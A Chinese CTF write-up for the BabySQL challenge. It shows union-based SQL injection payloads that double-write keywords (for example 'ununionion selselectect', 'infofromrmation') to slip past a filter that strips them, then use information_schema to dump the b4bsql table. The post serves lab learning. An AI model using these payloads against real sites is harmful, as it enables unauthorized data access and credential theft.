当前位置: 首页 > news >正文

[极客大挑战 2019]BabySQL1

这是上一个SQL注入的升级版,首先打开靶机

有了上次的经验,我们直接联合查询:?username=aaa'union select null,null,null#&password=1234

看报错信息,null,null,null#有错误,猜测select被过滤了

我们把 select 改成 selselectect,这样 select 被过滤后,剩下的sel和ect又可以拼成 select

可以看到select确实出现了,但是union没有出现,应该也是被过滤了,同样的,我们做个拼接

?username=aaa'ununionion selselectect null,null,null#&.....

 

 成功登陆,接下来我们把null换成 11,22,33,找到注入点,然后利用注入点查看 数据库名(跟上一个题目类似,这里不多写了)。可以看到有个geek的数据库

?username=aaa'ununionion seleselectct 11,database(),33#&.....

接着我们查看数据库中的表  ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

看到报错了, from information_schema没有出现在错误信息里,这时候猜测 from or 都被过滤了,跟上面的做法类似,我们做个拼接 ?username=aaa'ununionion seleselectct 11,database(),group_concat(table_name) frfromom infofromrmation_schema.tables whewherere table_schema=database()#

这里一个小技巧,information我们给拼接为 info-from-rmation,这样中间的from被过滤之后,剩下的部分刚好拼接为 information

然后我们看看b4bsql里面哪些列  ?username=aaa'ununionion seleselectct 11,database(),group_concat(column_name) frfromom infofromrmation_schema.columns whewherere table_name='b4bsql'#

接着把b4bsql表中的内容取出来  ?username=aaa'ununionion seleselectct 11,database(),group_concat(id,username,passwoorrd) frfromom b4bsql#  拿到flag

总结一下,这个题目在现实的程序中应该没有,服务器把 from  unino select or (估计还有 order by等等)这些关键字过滤,过滤方式是如果 字符串中存在,则直接替换为空(注意不是空格,而是空,这就给我们利用这个规则,拼接sql语句提供了可能)。搞明白这个规则之后,后面的操作就是常规的SQL注入了。不过我对SQL语句还是不熟练,所以在拼接的时候还出现很多错误。继续积累经验。 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • AT_abc001_1
  • 视频编辑软件会声会影Corel VideoStudio2023安装图文激活教程
  • Redis:快速键值存储的入门指南
  • javascript 如何将 json 格式数组转为 excel 表格| sheetJS
  • SQL labs-SQL注入(五,使用sqlmap进行cookie注入)
  • NS4890C 2.4W 单声道AB类音频放大器
  • repo中的default.xml文件project name为什么一样?
  • 初识C++ · map和set的使用
  • Cocos Creator2D游戏开发-(1)初始化设置
  • ElasticSearch(六)— 全文检索
  • MySQL数据库(基础篇)
  • .net core 外观者设计模式 实现,多种支付选择
  • Vue事件总线(EventBus)的概念、使用以及注意事项
  • python_翻译二维列表的表头
  • Python面试题:使用Matplotlib和Seaborn进行数据可视化
  • [iOS]Core Data浅析一 -- 启用Core Data
  • 【剑指offer】让抽象问题具体化
  • crontab执行失败的多种原因
  • CSS 提示工具(Tooltip)
  • input实现文字超出省略号功能
  • Intervention/image 图片处理扩展包的安装和使用
  • Javascript基础之Array数组API
  • JavaScript学习总结——原型
  • java中的hashCode
  • Mac转Windows的拯救指南
  • Markdown 语法简单说明
  • Netty 框架总结「ChannelHandler 及 EventLoop」
  • react-native 安卓真机环境搭建
  • React-生命周期杂记
  • SegmentFault 技术周刊 Vol.27 - Git 学习宝典:程序员走江湖必备
  • spring security oauth2 password授权模式
  • Vue.js-Day01
  • 基于阿里云移动推送的移动应用推送模式最佳实践
  • 那些年我们用过的显示性能指标
  • 前端_面试
  • 浅谈Kotlin实战篇之自定义View图片圆角简单应用(一)
  • 什么软件可以提取视频中的音频制作成手机铃声
  • 思考 CSS 架构
  • 物联网链路协议
  • 小程序 setData 学问多
  • 走向全栈之MongoDB的使用
  • JavaScript 新语法详解:Class 的私有属性与私有方法 ...
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • #13 yum、编译安装与sed命令的使用
  • #Java第九次作业--输入输出流和文件操作
  • $.ajax()
  • (delphi11最新学习资料) Object Pascal 学习笔记---第13章第6节 (嵌套的Finally代码块)
  • (翻译)Entity Framework技巧系列之七 - Tip 26 – 28
  • (函数)颠倒字符串顺序(C语言)
  • (九)c52学习之旅-定时器
  • (免费领源码)Java#ssm#MySQL 创意商城03663-计算机毕业设计项目选题推荐
  • (十八)三元表达式和列表解析
  • (转)淘淘商城系列——使用Spring来管理Redis单机版和集群版
  • **《Linux/Unix系统编程手册》读书笔记24章**
  • ./和../以及/和~之间的区别